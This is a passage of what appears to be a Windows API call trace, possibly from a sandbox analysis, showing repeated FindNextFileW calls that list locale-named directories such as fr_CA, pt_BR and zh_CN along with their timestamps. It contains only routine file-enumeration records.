ftLastWriteTime.dwLowDateTime=0xe841900b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe842c878, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84316cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84316cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8449d3c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe844c461, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe844c461, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8469926, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8470e5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8470e5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe848e306, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8493144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8493144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_CA", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe849cd83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a42bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84a42bb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84b7b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8cb7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84c8cb7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84d9e2e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e1327, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84e1327, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84f24cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7304, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84f7304, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84fe7ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe850363d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe850363d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe851bce8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520b0d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8520b0d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85406eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545507, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8545507, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0228.778] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8558d8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dbac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe855dbac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85650da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85677ed, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85677ed, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe856ed1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573b41, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8573b41, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe857b070, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fe95, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe857fe95, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85873c7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e8f6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe858e8f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ka", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8595e28, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a4892, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85a4892, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85b59fc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85ba821, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85ba821, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85c1d53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6b72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85c6b72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0228.779] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85ce0a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85d2ebd, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lo", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85da3f8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1930, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85e1930, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85e8e5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85eb5c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85eb5c9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86014fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608a39, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8608a39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861749a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8619ba9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8619ba9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mn", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86237ee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe862ad20, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe862ad20, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8632242, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8637077, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8637077, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe863e5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640cb8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8640cb8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ne", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86481e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656c48, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8656c48, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0228.780] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8660880, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667dbb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8667dbb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8674112, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8676822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8676822, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe867dd53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8682b76, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8682b76, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe868eeca, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8693cf9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8693cf9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86a2743, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86a7572, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86a7572, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86b11a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86b5fd6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86b5fd6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86bfc14, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86c7149, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86c7149, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86d0d8b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86d349d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86d349d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86dd0c3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86e1f01, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86e1f01, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86fa5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86fccb9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86fccb9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0228.781] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8709007, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe870b716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe870b716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8717a6d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe871c890, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe871c890, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8728be1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe872b2f0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe872b2f0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe873eb6d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8743999, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8743999, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe874d5da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe874fced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe874fced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe875c028, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8760e60, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8760e60, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe876d19b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8771fd3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8771fd3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe877bc0b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8780a3a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8780a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ur", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe878a67b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8791bad, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8791bad, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe879b7e2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87a0611, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87a0611, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe87b1784, ftCreationTime.dwHighDateTime=0x1d327cb, 